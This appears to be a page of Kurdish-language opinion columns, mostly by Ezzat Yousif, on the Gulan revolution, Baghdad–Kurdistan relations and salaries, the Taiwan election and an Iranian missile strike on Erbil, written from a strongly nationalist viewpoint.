ده‌مێ چریسكا ئاگرێ شۆرشا گولانێ گه‌شتر و به‌رفره‌هتر دبوو، رژێما داگیركه‌را به‌عس سازى و ده‌زگه‌هێن خوه‌ یێن كوشتنێ و گرتنێ و تڕساندنێ پتر ئێخستنه‌ گه‌ڕ، رابوو ب خاپوركرنا گۆندێن ڤه‌ده‌ر و ڤه‌گوهاستنا خه‌لكى بۆ باشورێ ئیراقێ یان كۆمه‌لگه‌هێن كوته‌كى، گرتنا خه‌لكێ ئازا و شۆرشگێر ژ ته‌ڤایا ته‌خێن ملله‌تى و سێداره‌دانا وان ل قولاچكێن كویر و تاڕستانا زیندانێن مویسل و ئه‌بۆ غرێب. لێ ئه‌ڤان ره‌فتاران ته‌مه‌ت گاڤا مێریه‌كێ ژى ئیراده‌یا گه‌لى كورد نه‌شكاند و سست و خاڤ نه‌كر، لێ به‌روڤاژى شۆرش گه‌رمتر و ب هێزتر و دژواتر لێ دهات.
به‌لێ شۆرش ئاگره‌ك بوو ب سه‌ر ده‌ژمنى دا دبارى، ئاگرێ رزگاریێ و ئازادیێ بوو ل كوردستانێ دبارى، ده‌ڕبرینه‌كا راست و ره‌وا بوو ژ خواستا خه‌لكێ چاڤنه‌تڕس ژ بۆ نه‌هێلانا بنده‌ستیێ. شۆرش كه‌ته‌ دهه‌مى ماڵ و گوند و باژێر و واران دا، شۆرش رۆژ بۆ رۆژێ ساڵ بۆ سالێ گه‌رمتر و دژوارتر دبوو. شیا دربێن مه‌زن داوه‌شینته‌ له‌شكر و داروده‌سته‌كێن دوژمنى و ب خوینا شه‌هیدان داستان ل دویڤ داستانێ هاتنه‌ تۆمار كرن ده‌ڤه‌رێن به‌رفره‌ه هاتنه‌ ئازاد كرن.
شۆرشا ئیلۆنێ ل شه‌شێ ئادارا 1975 ب پیلانه‌كانى ژه‌هراوى هاته‌ بێده‌نگ كرن، لێ شۆرشا گولانێ جاره‌كا دى خه‌بات گه‌رم كر و پاش بۆرینا 16 سالان د هه‌مان رۆژدا سه‌رهلدانێ ده‌ستپێكر و باژێر ل دویڤ باژێرى هاتنه‌ ئازادكرن و كه‌لایێن دوژمنان هاتنه‌ رامالێن و هه‌ڕفتن و ئیراده‌یا گه‌لێ كوردستانێ سه‌ركه‌فت و هه‌رێما كوردستان بوو ده‌وله‌ته‌كا دیفاكتۆ و سه‌روه‌رى.
ئه‌ڤرۆ بلا هه‌مى بزانن، حه‌ز و نه‌حه‌ز، خه‌باتا كوردان ژ بۆ مافێن وان یێن ره‌وا پاش دا ناچیت، بنده‌ستیێ و پیلانێن وان ناحه‌وینن، ئه‌و ئاخا ب خوینا شه‌هیدان هاتیه‌ ئاڤدان و به‌ردار بووى قه‌ت نه‌بوویه‌ و نابیت تۆڤێ دوژمنان قه‌بویل بكه‌ت و دوژمن لێ بچه‌ورن.
شۆرشا گولانێ، سه‌رده‌مه‌ك بوو، كوردایه‌تى كوردایه‌تى بوو، ژ كوردایه‌تیا گولانێ گول دبارین، خه‌بات و تێكۆشین و ئازادى و ئازایه‌تى دبارى. كوردایه‌تى ژ دۆبا هنگڤینى شرینتر بوو، ژ پرۆزییان پیرۆزتر بوو. چاخه‌ك بوو بهیستنا ناڤێ پێشمه‌رگه‌ى ده‌ریێ خۆزیان بوو، دیتنا پێشمه‌رگه‌ى گه‌لیێ مرادان بوو.
ده‌ما دبێژین شۆرشا گولانێ سه‌رده‌مه‌ك بوو، كوردایه‌تى تێدا گه‌له‌كا شرین و پیرۆز بوو، ئه‌وێ رامانێ ناده‌ت كو نها كوردایه‌تى نه‌ یا پیرۆزه‌! ل باڵ و پاڵ كه‌سێن خۆدان پرانسیب و بیروباوه‌ر و جوامێر كوردایه‌تى هێلا سوره‌ و هه‌را شرین و پیرۆزه‌.

9

عزه‌ت یوسف
د پێچێ كه‌ساتیه‌كێ دیارێ ئیراقى دا، راپرسییه‌ك ئۆنلاینى هاتى یه‌ ئه‌نجامدان، تێدا ئه‌ڤ پرسیاره‌ هاته‌ ئاراسته‌كرن: (د ناڤ ئه‌ڤان به‌رێزان دا، كو پشتى سالا 2003 پۆستێ سه‌رۆكاتییا ئه‌نوجومه‌نێ وه‌زیران وه‌رگرتى، كێ ئاسته‌كێ باشتر هه‌بوو؟ بۆچى؟) ناڤ ل گه‌ل وێنه‌یێن وان دانا بوون، ناڤ ژى ئه‌ڤه‌ بوون (ئه‌یاد عه‌لاوى، ئیبراهیم جه‌عفه‌رى، نورى مالكى، حه‌یده‌ر عه‌بادى، عادل عه‌بدولمه‌هدى، مسته‌فا كازمى و موحه‌ممه‌د سودانى).
دێ كه‌سه‌كى هه‌لبژێرى و هۆكارى دیاركه‌ى، ئانكو پرسیار نیڤ گرتى و نیڤ ڤه‌كرى بوو.
به‌رسڤ ب هزاران بوون، پشكا شێرى به‌ر ب عه‌بادى كه‌تبوو، كو ئاسته‌كێ باش ژ حوكومرانیێ گێرا بوو، ره‌واتییا گه‌له‌كان ژى ئه‌وبوو كو عه‌بادى شیایه‌ شكه‌ستنێ ب پرۆژێ ریفراندۆما هه‌رێمێ بینیت و كه‌ركووك و ده‌ڤه‌رێن دى ل ژێر ده‌ستێ پێشمه‌رگه‌ى ڤه‌گه‌راندینه‌ ژێر ده‌ستهه‌لاتا حوكمه‌تا مه‌ركه‌زى.
ل نك من ئه‌ڤ به‌رسڤه‌ یا سه‌یر نه‌بوو، چونكى هه‌ر نه‌هێلانا كوردان و كوردستانێ هه‌ر ژ به‌رێ هه‌تا نها د مه‌ژیێ وان دایه‌. هه‌تا هنده‌كێن كو عه‌بادى ب قاره‌مان هه‌لبژارتى ژى ناڤێن (كوردى) ل سه‌ر بوون. لێ سه‌یر ئه‌وه‌، هێشتا هنده‌ك كورد و ئالییێن كوردى هه‌بن به‌غدا كرینه‌ قیبلا خوه‌ و ب هه‌سپێ وان دچنه‌ سوارانێ.
وه‌ره‌ به‌رسڤده‌رێن راپرسیێ ژین و ژیارا وان، بارێ ئاسایش و ته‌ناهیێ ل ده‌ف گرنگ نه‌بیت، به‌س سه‌رنه‌گرتنا ریفراندۆمێ ئارمانجا وان بیت، هه‌روه‌كى ریفراندۆم ئه‌گه‌رێ هه‌مى كێشه‌ و گرفتێن وان بیت. ئه‌رێ ریفراندۆمێ.چ زیان گه‌هاندى یه‌ وان، چ زیوان كرى یه‌ د ناڤ گه‌نمێ وان دا؟ ئه‌رێ ریفراندۆمێ چ په‌یوه‌ندى و ب معاویه‌ و یه‌زید و سپایكه‌ر و زه‌رقاوى و به‌غدادى ڤه‌ هه‌بوو؟ به‌س ئه‌ڤه‌ ئیراقه‌ ئاڤ و ئاسمان و ئه‌ردێ خوه‌ دده‌نه‌ بیانى و داگیركه‌ران به‌س دا كو كورد لاواز بن یان نه‌مینن. ئه‌ڤه‌ ژى نه‌ خاله‌ك حێبه‌تى و خێڤه‌تى یه‌، چونكى كه‌لتۆرێ وان و به‌ره‌باب و باپیرێن وان ل سه‌ر كوشتن و تالان و شه‌ران راهاتى نه‌.
ل سالا 1797 گه‌رۆكێ ئنگلیزى (جاكسۆن)، سه‌ره‌دانا ئیراقێ دكه‌ت، پشتى گه‌شته‌كا واستیان و تژى مه‌ترسى ژ به‌سرا ژێهه‌ل بۆ به‌غدا و دیالا.. شیره‌ته‌ك بۆ ئه‌وان ئوروپیان یێن دخوازن سه‌ره‌دانا ئیراقێ دكه‌ن، نڤێسى: (ئه‌ڤ وه‌ڵاته‌ د ره‌وشا شه‌رێ به‌رده‌وام دایه‌، گه‌له‌ك ژ خه‌لكێ وێ نه‌ گرێداى سسته‌م و یاسایێ یه‌، ل دویڤ غه‌ریزه‌ و حه‌زێن خوه‌ ره‌فتارێ دكه‌ن و دژین، هه‌ست و سۆزێن جامێرانه‌ كارتێكرن و باندورێ ل سه‌ر ناكه‌ن. بێ ئاگادارى هه‌ر كه‌سه‌كێ دشێنێ دكوژن و تالان دكه‌ن!
ئه‌و ل گه‌ل ته‌ڤاهییا جیهانێ ژبلى هۆزا خوه‌ د ناڤ شه‌ڕه‌كى مه‌یدانى دانه‌! ئه‌ڤه‌ كاودانێ ئه‌ڤى وه‌لاتى یه‌ كو ب ئێك ژ باشترین وه‌لاتێن به‌رداره‌ ل ئه‌ڤى هه‌مى گه‌ردۆنێ. گه‌شتیار نه‌ یێ ب سلامه‌ته‌ و ل به‌ندێ یه‌ ل هه‌ر ده‌لیڤه‌كێ هێرش ل سه‌ر بهێته‌كرن و تالان بكه‌ن و بكۆژن).
گه‌ر ته‌ ناڤێ ئیراقێ دیت، كوشتن و كۆده‌تا و ئه‌نفال و نه‌ژیان دبن شیژن و سیخمێن وێ ڤه‌ زیق دبن. (لاك روچێلد)، دبێژیت ده‌مێ قوتابیێن سیاسه‌تا ناڤده‌وله‌تى دیرۆكا ئیراقێ دخوینن، دشێن كولونیالیزم، سنۆرێن ده‌ستكرد، سه‌ركردێن تاكره‌و، كۆده‌تایێن له‌شكرى، دكتاتۆریه‌ت، سه‌رهلدانێن نه‌ژادى، ناكوكیێن ئولى، شه‌رێن ناڤخوه‌یى، شه‌رێن ناڤده‌وله‌تى و داگیركاریێ ببینن.
به‌ریا هه‌یامه‌كا كورت دو په‌یام ژ ئالیێ دو سه‌رۆك وه‌زێرێن ئیراقێ یێن به‌رێ هاتنه‌ راگه‌هاندن، حه‌یده‌ر عه‌بادى، دبێژیت: (كى ل به‌غدا فه‌رمانبه‌رێن هه‌رێمێ پتر سزا بده‌ت دێ د هه‌لبژارتنان دا پتر ده‌نگان ئینیت.) گۆتنه‌كا رۆن و پێدڤى چ كۆمێنتان ناكه‌ت.
یێ دى عادل عه‌بدولمه‌هدى، دبێژیت: (بۆدجه‌یا ئیراقێ 100 ساله‌ دژى گه‌لێ كوردستانێ و وێرانكارنا وێ بكاردهێت، ل ڤى سه‌رده‌مى ژى بۆ برسى كرن و شكاندنا خه‌لكێ كوردستانێ دهێته‌ بكارئینان.) ئه‌ڤه‌ ژى دانپێدانه‌كا زه‌لاله‌ و نه‌هه‌وجه‌ى هیچ كۆمێنتانه‌.
كوردینۆ ئه‌ڤه‌یه‌ ئیراق یا به‌ربوویه‌ گیانێ ته‌، نه‌شێت هیچ چاره‌یان بۆ خوه‌ ببینیت، دێ چ مفاى گه‌هینته‌ ته‌. گۆتنه‌ك كوردى هه‌یه‌ دبێژیت خه‌نجه‌ر كاڤلانكێ خوه‌ نابریت، ئه‌ڤ گۆتنا ته‌یه‌ ل ئه‌ردى نه‌ده‌.

12

عزه‌ت یوسف
ئه‌ڤ بابه‌ته‌، یان پێزانینێن د بابه‌تی دا من ژ راپۆرته‌كا درێژا رۆژنامه‌یا گاردیان یا به‌ریتانى كه‌لاشتینه‌، كو تایبه‌ت بوو ل سه‌ر ئه‌نجامێن هه‌لبژارتنێن تایوان و هزر و بۆچوونێن خه‌لكێ تایوانێ ل سه‌ر گه‌فێن چینێ ل سه‌ر وه‌لاتَێ وان و ده‌نگدانا وان ژ بۆ به‌رژه‌وه‌ندیا تایوانێ. من دخواست پێكڤه‌ گرێدانه‌كێ ل گه‌ل گه‌لێ كوردستانێ بكه‌م و چاوانیا ده‌نگدانا وان و هه‌لوه‌ستێ وان همبه‌رى به‌غدایێ كا دێ چاوا بیت؟.
چین، ئه‌و ده‌وله‌تا ئه‌و ل ره‌خه‌كى و هه‌مى جیهان ل ره‌خه‌كێ دى، یا ئه‌مریكا خوه‌ ژێ دده‌ته‌ پاش. تایوان، ئه‌و ده‌وله‌تا بچویك و به‌رزه‌ و د بنكفشێ چینێ دا. چین دانپێدانێ ب سه‌ربه‌خوه‌یى و ده‌وله‌تا تایوان ناكه‌ت، پشكه‌ك ژ ئاخا خوه‌ و سه‌روه‌ریا خوه‌ دزانیت، به‌رده‌وام ل ئاسمان و هشكاتى و ته‌ڕاتى گه‌فا ب سه‌ردا گرتن و داگیركرن و نه‌هێلانا وێ دكه‌ت، به‌رده‌وام مانۆڕه‌یێن له‌شكرى ل ده‌ردررێن وێ ل ئه‌ردى و ئاسمانى و ده‌ریایێ دكه‌ت، دا كو ئیراده‌یا ده‌وله‌تبوونا تایوانێ بشكێنیت و خوه‌ بده‌ستڤه‌ به‌رده‌ن.
لێ ئه‌ڤ گه‌فه‌ نه‌به‌س تایوانێ ناترسینن و نابێژن ئه‌م نه‌ همبه‌رى ده‌وله‌تا چینا مه‌زنین، نابێژن هێز نه‌ یا بێ به‌رامبه‌ره‌؛ پڕانیا وان دبێژن مرن و مانا ده‌وله‌تا مه‌یه‌ و سه‌روه‌ریا مه‌یه‌.
هه‌لبژارتنێن گشتى ل ناڤه‌ڕاستا مه‌ها ئێك (13/1) هاتنه‌ ئه‌نجامدان، ئالى و حزب هه‌بوون كو دلسۆز و لایه‌نگرێن ده‌وله‌تا چینێ بوون و دژى پارتا ده‌ستهه‌لاتدارا دویر ژ چینێ بوون. د هه‌لبژارتنان دا پارتا ده‌ستهه‌لاتدار (پارتا پێشكه‌فتنا دیموكراسى -DPP) یا ئالیگرا سه‌روه‌ریێ ب سه‌رۆكاتیا (لاى تشى تى) بۆ جارا سیێ هه‌ر ژ سالا 2016 بسه‌ركه‌فت و د ئێكه‌م په‌یڤا خوه‌ دا سۆز دا به‌رده‌وامیێ بده‌ته‌ شیانێن خوه‌ د سیاسه‌تا ده‌رڤه‌دا ل همبه‌ر هه‌ولدان و پلانێن چینێ ژ بۆ زڤراندنا تایوانێ.
سه‌ركرده‌یێن جیهانى پیرۆزباهییا سه‌ركه‌فتنا (لاى تشى تى) كرن، ئاماژه‌ دانا پشكدارییا به‌رفره‌ها جه‌ماوه‌رى و پرۆسێسا دیموكراسیێ ـ د هه‌مبه‌ر دا چین خه‌مگین و تۆڕه‌ بوو، كو هیڤى دخواست پارتا ده‌ستهه‌لاتدار بكه‌ڤیت.
به‌رسڤدان و كارڤه‌دانا دوژمنكارییا چینێ ل سه‌ر سه‌ركه‌فتنا (لاى) یا چاڤه‌ڕێ كرى بوو. حیزبا كۆمۆنیستا چینى یا ده‌ستهه‌ڵاتدار ته‌ماشه‌ى تایوان وه‌ك به‌شه‌ك ژ ئاخا خوه‌ دكه‌ت، هه‌رچه‌نده‌ هیچ ده‌مه‌كى حوكم ل گزیرتێ نه‌كریه‌. (شى گین بینگ)، حاكمێ چینێ، زه‌لال كر كو (یه‌كبوونا چین و تایوانێ پێشیا بژارێن مه‌یه‌)، دویر نه‌دانا كو چین بۆ بده‌ستئینانا ئه‌ڤێ ئارمانجێ هێزێ بكاربینیت. ئه‌وان كیناتى همبه‌ر تایوان هه‌یه‌ و ب جوداخازى دزانن. گه‌له‌ك شیانێن شه‌ڕێ گۆتارى بۆ كارتێكرنێ ل سه‌ر هه‌لبژێران كرن داكو پارتا ده‌ستهه‌لاتدار سه‌رنه‌كه‌ڤیت، لێ هه‌وڵدانێن وان د به‌ر ئاڤێ دا چوون.
پاش ده‌ركه‌تنا ئه‌نجامان، (شین بینهوا) گۆته‌بێژێ ب ناڤێ كاروبارێن (تایوانا چینێ) دوباره‌ گۆت (تایوان، تایوانا چینێ یه‌، نابیت ئه‌ڤ هه‌ڵبژاردنه‌ بكارن شێواز و سه‌متا ئارمانجێن مه‌ بگوهۆڕن، ل داویێ تایوان دێ بۆ نیشتمانێ دایك ڤه‌گه‌ڕیت.) داكۆكى كر كو ئه‌و درژدن گزیرته‌یا تایوان ڤه‌گه‌ڕینن. د به‌رسڤا گۆته‌بێژى، وه‌زاره‌تا ده‌رڤه‌یا تایوانێ گۆت ئه‌ڤ ئاخفتنه‌ د شاش و ده‌به‌نگن و هه‌ژى به‌رسڤدانێ نینن. ده‌ربارى كو كێشه‌یا تایوان كێشه‌كا ناڤخوه‌یى یا چینێ یه‌، ب ته‌ڤاهى ب تێگه‌ها ناڤده‌وله‌تى نه‌گونجایه‌ و ل گه‌ل بۆچوونێن جیهانى و ئیراده‌یا گه‌لێ تایوانى بۆ به‌رده‌وامبوون ل سه‌ر دیموكراسیه‌تێ دژن.
ل ڤان سالێن داویێ چینێ فشارێن له‌شكرى و ئابۆرى ل سه‌ر تایوانێ توندكرن كو تڕسا لێكدانێ هه‌بوو. لێ هه‌لبژارتن ب ئارامى برێڤه‌چوون. حیزبا ده‌ستهه‌لات یا ئێكه‌م ده‌ركه‌ت و دو حیزبێن ئالیگرێن چینێ ژى رێژه‌كا به‌رچاڤا ده‌نگان ئینان و ئه‌ڤه‌ ژى دێ بیته‌ په‌یدابوونا ئالۆزیان د ناڤا په‌رله‌مانى دا.
گه‌له‌ك خالێن هه‌ڤپشك د ناڤبه‌را كوردستانێ و تایوان دا هه‌نه‌ زێده‌بارى جوداكارى كو تایوان ده‌وله‌ته‌كا دیجیرویه‌ و پشته‌ڤانیا ناڤده‌وله‌تى هه‌یه‌. ل داویێ دبێژم هیڤیدارم گه‌لێ كوردستانێ (هه‌ر وه‌خته‌كى ئه‌گه‌ر هه‌لبژارتن هاتنه‌ ئه‌نجامدان) ژى مینا گه‌لێ تایوانێ د به‌رژه‌وه‌ندیا سه‌ربه‌خوه‌یا كوردستانێ یان ب كێمى بۆ كوردستانه‌كا ب هێز نه‌ بۆ ئیراقه‌كا ب هێز ده‌نگبده‌ن. به‌لێ تایوانێ ژ بۆ تایوانێ ده‌نگدا، ئه‌م ژى بلا بۆ سه‌رخستنا دۆزا كوردستانێ ب گه‌رم و گۆڕى ده‌نگبده‌ین.

23

عزه‌ت
به‌ریا هه‌ر تشته‌كى قه‌دا و سه‌د قه‌دا ب هه‌مى دوژمن و داگیركه‌ران بكه‌ڤیت، ل هه‌ر ده‌مه‌كى و ل هه‌ر واره‌كى بیت. نه‌فره‌ت ب هه‌مى دوژمنێن مرۆڤاتیێ و كوردان بكه‌ڤیت، به‌ڵا ب ئیرانا مووشه‌ك هاڤێژ و ب توركیا درۆن كژ و ب ئیراقا مووچه‌بڕ بكه‌ڤیت، قه‌دا و به‌ڵا ب داگیركه‌ر و نه‌حه‌زێن كورد و كوردستانێ بكه‌ڤیت.
دوژمن هه‌مبه‌ر كوردان یه‌ك هه‌ست و هه‌لوه‌ستن، لێ هێشتا كورد همبه‌رى وان د پرت و به‌لاڤن. ئه‌ڤه‌ هه‌یامه‌كا ئیران یا دڕ و هار بووى، ل ڤێ داویێ ژى ب مۆشه‌كان هێرش كره‌ سه‌ر هه‌ولێرا پایته‌خت، بێى كو ره‌واتیه‌ك بۆ هه‌بیت. همبه‌ر دا وه‌لاتیێن كورد دژى ئه‌ڤێ ره‌فتارا هۆڤانه‌ رژیانه‌ سه‌رجادان و نه‌رازیبوونا خۆ ده‌ربڕین كو ئێك ژ چه‌كێ وان ئه‌ڤه‌یه‌. لێ پتر جهێ ئیشانێ یه‌، كو هه‌بوون ره‌واتى د دا ئه‌ڤێ هێرشێ و وێنه‌یێن فۆتوشۆپى دباراندن.
سه‌رده‌مه‌ك هه‌بوو، ئیرانێ درووشمه‌كێ سه‌رڤه‌یى هه‌بوو، ئه‌و ژى: مه‌رگ به‌ر ئه‌مریكا، مه‌رگ به‌ر ئیسرائیل بوو. لێ نه‌ ئه‌مریكا مر و نه‌ ئیسرائیل ژ ناڤچوو. به‌روڤاژى هه‌یامه‌كه‌ ئیسرائیل هێرشێ دكه‌ته‌سه‌ر سه‌ر هێزێن ئیرانێ و ملیشیایێن وان و به‌رپرسێن وان دكوژیت، سوپایێ پاسداران ژى د همبه‌ر دا هێرشه‌كا مووشه‌كى ب هێجه‌تێن ناره‌وا و نه‌وه‌یى ل سه‌ر هه‌ولێرێ كر و زارۆك شه‌هیدكرن و وێنه‌یێن شه‌هیدان فۆتوشۆپ نیشاندان.
ئه‌ڤرۆ ب ده‌نگه‌كێ بلند دبێژینه‌ ئیرانێ، ئه‌وێن د گۆتن مه‌ نه‌هێلا ئیسرائیلا دوێ دروست ببیت، هزرا وه‌ یا ژه‌نگییه‌، ئیسرائیلا ئێكێ یا دیاره‌ و قه‌بێ وه‌ دخوازیت، گه‌ر راست دخازن هێرشێ بكه‌نه‌ سه‌ر به‌رژه‌وه‌ندى و كه‌ساتییێن ئیسرائیلێ و مه‌رگى ب سه‌ر دا ببارینن، هرچا دیاره‌ و ده‌وسا به‌تاله‌، فه‌رموون ل گه‌له‌ك جهێن رۆهه‌لاتا ناڤین دیارن، فه‌رموون ئه‌وێنهه‌ ل ده‌وله‌تێن كه‌نداڤى ب تنێ ئاڤ دناڤبه‌را وه‌ دا هه‌یه‌ و هه‌تا تۆپێن هه‌وه‌ یێن دویرهاڤێژ ژى دگه‌هنێ كێ ده‌ستێ وه‌ گرتییه‌!
هێرشا ل سه‌ر هه‌ولێر ره‌فتاره‌كا بێ بنه‌ما بوو، ئه‌مریكا حوسیان ل یه‌مه‌نێ و ئیسرائیلێ ئه‌فسه‌رێن ئیرانێ ل دیمه‌شقێ دكوژیت و ئیران ژى هێرشێ ل سه‌ر هه‌ولێرێ دكه‌ت، شوینا مه‌رگ به‌ر ئه‌مریكا، مه‌رگێ نیشانێ كوردان دده‌ت. لێ ئه‌و چاك دزانن كو كوردان ئیراده‌یا خۆراگریێ و وێره‌كیێ هه‌یه‌ و چه‌كێ كیمیاوى ئه‌نفالان كوردا بێ ئیراده‌ نه‌كرینه‌.
گه‌ر كوردستان ژى وه‌ك پاكستان ده‌وله‌تبا دا دربه‌كێ دژوارتر داوه‌شینتێ و دا ئیرانێ ناچار كه‌ت په‌شیمان ببا و هه‌روه‌كى چه‌وا دێ سه‌رده‌نا پاكستانێ كه‌ن و داخوازا لێبۆرینێ ژێ كه‌ن و دێ بێژنێ مه‌ كر و هوین نه‌كه‌ن.
یا دهێته‌ سه‌رێ مه‌ كوردان هه‌مى ژ بێ ده‌وله‌تیا مه‌یه‌، مه‌ باش زانى كو رامانا بێ ده‌وله‌تى چییه‌، ده‌مێ دایكێ گازى كوڕێ خۆ دكر و د گۆتێ هه‌ى بێ ده‌وله‌توو.
ل داویێ كو ل گه‌ل دوژمنان ب داوى ناهێت، دبێژینه‌ خۆدان دڕۆن و مووشه‌كێن تڕسنۆك، زمانێ جه‌هنه‌مێ زمانێ هه‌وه‌یه‌، زمانێ به‌هه‌شتێ ژى زمانێ به‌لاتینك و چویچكانه‌، وه‌ك چویچكا ژینا.
گۆتنا سه‌یدایێ (ع. مزوورى) هاته‌ بیرا من، ده‌مێ ل سالا 1974 ل سه‌ر ئێزگێ ده‌نگێ كوردستانێ د خۆڕى و دگۆت مرن و سه‌رشۆڕى و نه‌مان بۆ هه‌مى خائینان و دوژمنان.

28

حوكمه‌تا به‌غدا ل به‌ره‌، نیازه‌، بڕیاره‌.. بڕه‌ پاره‌كى چ وه‌كى قه‌ر، هه‌روه‌، سولفه‌.. بۆ مه‌هه‌كێ یان پتر بۆ هه‌رێما كوردستانێ ره‌وانه‌كه‌ت. لێ ئه‌ڤ بڕه‌ پاره‌ نه‌منه‌ته‌ چونكى كه‌سێ باوه‌ردار منه‌تا منه‌تداران نه‌ڤێت.
لێ به‌غدا كه‌نگى خودان سۆز و بڕیاره‌، دا سۆزێن خوه‌ ببه‌ته‌ سه‌رى؟ هه‌ر ل هه‌بوونا به‌غدا هه‌تا ئه‌ڤرۆ هیچ ده‌مه‌كى حوكمه‌تێن به‌غدا باشى و ساخى بۆ كوردستانێ د فه‌رهه‌نگا خوه‌ دا نه‌حه‌واندییه‌.
ئه‌ڤ بڕیاره‌ ژى هات پشتى سه‌رۆكێ هه‌رێما كوردستانێ سه‌ره‌دانه‌ك بۆ به‌غدا كرى و كۆمبوونێن به‌رفره‌ه ل گه‌ل به‌رپرسێن به‌غدا ئه‌نجامداى و ب وێره‌كانه‌ به‌حسى ره‌وشا هه‌رێمێ كرى.
هێشتا ئه‌ڤ بڕیاره‌ نه‌چوویه‌ سه‌رى، كا دێ بۆ چه‌ندێ سه‌رگریت، لێ سه‌قایه‌كێ دلخۆشكه‌ر دایه‌ فه‌رمانبه‌ران. سه‌رهندێ را مامۆستایێن نه‌رازى ل ده‌ڤه‌را سلێمانیێ و هه‌له‌بچه‌ داخۆیانییێن نه‌ڕێك دان. ل ڤێره‌ ئه‌ز دبێژم ئه‌ز ل گه‌ل هندێ مه‌ هه‌مى فه‌رمانبه‌ر و مامۆستا مووچه‌یێن خوه‌ بێ گیرۆ بوون وه‌رگرن، بێ مووچه‌یى ده‌رده‌كێ گرانه‌، راسته‌ دبێژن ما ئه‌م مارین دێ ب ئاخێ ژین؟ ئه‌ز دبێژمێ مافێ وه‌یه‌ نێ هه‌تا مار ژى ب ئاخێ ناژیت!
ئه‌ز نه‌به‌س ل گه‌ل پێدانا مووچه‌یێن مامۆستا مه‌، ئه‌ڤه‌ نه‌منه‌ته‌ به‌لكى ساكارترین مافێ وانه‌، ئه‌ز ل گه‌ل پله‌بلندكرن و دامه‌زراندنا وان مه‌ ژى. به‌س داخۆیانییا ده‌سته‌یا داكوكیكرنێ ژ مامۆستایێن (ئه‌گه‌ر وه‌سا بیت) دبێژیت: (هنارتنا ئه‌ڤى بڕه‌ پاره‌ى به‌رهه‌مێ به‌رده‌واما خه‌باتا وانه‌ ل سه‌ر بایكۆتكرنا هۆلێن خواندنێ). كته‌كا كومێنتان بۆ هاتن دگۆتن ئه‌ڤه‌ به‌رهه‌مێ ژ ده‌ستدانا ساڵه‌كا قوتابیانه‌. به‌رسڤا من بۆ وان، ئه‌گه‌ر به‌غدا كوردستان ڤیابه‌ هه‌ر ل رۆژا ئێكێ دا مووچه‌یان ره‌وانه‌كه‌ت، لێ باش ل بیرا هه‌وه‌یه‌ ده‌مێ هه‌وه‌ هه‌ڵداین بچنه‌ به‌غدا هه‌ر ل ئێكه‌مین زالگه‌ها حه‌شدێ هوین پاشدا ڤه‌گه‌ڕاندن و كرپێنى ژ هه‌وه‌ نه‌هات. ل ده‌مێ هه‌بوونێ ل سالێن 2009، 2010، 2011 و 2012، هه‌مى مووچه‌ ب بێمنه‌تى و به‌رده‌مى ژ ئالیێ حوكمه‌تا هه‌رێما كوردستانێ ڤه‌ دهاتنه‌ دان چونكى هه‌بوون، نابیت ل ده‌مێ هه‌بوونێ نه‌بوون هه‌بیت! به‌س گه‌ر نه‌بیت؟ هێشتا د داخۆیانیێ دا هاتیه‌، (به‌رێ و نها ژى باوه‌ریا مه‌ وه‌سا بوویه‌ كو چاره‌سه‌رى تنێ و تنێ ل به‌غدایه‌.) گه‌ر چاره‌سه‌رى ل به‌غدایه‌ فه‌رموون بلا به‌غدا مووچه‌یێن هه‌ر سێ مه‌هێن سالا 2004 فڕێكه‌ت، لێ به‌روڤاژى نه‌چاره‌سه‌رى به‌لكو ده‌رده‌سه‌رى ل به‌غدایه‌. داخۆیانى هێشتا دبێژیت: (به‌روڤاژى ئه‌وێن د قۆڕاڤا كوردایه‌تیێ دا ماین)، به‌رسڤا ڤێ كوردایه‌تى نه‌ قۆڕاڤه‌ لێ كانیه‌كا زه‌لال و پرانسیب و ئارمانجه‌.
پارێزگارێ سلێمانیێ بانگه‌وازیه‌كا مامۆستایان دكه‌ت و دبێژتێ بلا ئه‌ڤه‌ به‌رهه‌مێ هه‌وه‌ بیت، لێ فه‌رموون ڤه‌گه‌ڕنه‌ هۆلێن خواندنێ، لێ كۆمه‌كا كومێنتێن ناشرین بۆ هاتن و دبێژن مووچه‌ ژى بێن بایكۆت هه‌ر به‌رده‌وامه‌.

عزه‌ت یوسف

website security
WP Facebook Auto Publish Powered By : XYZScripts.com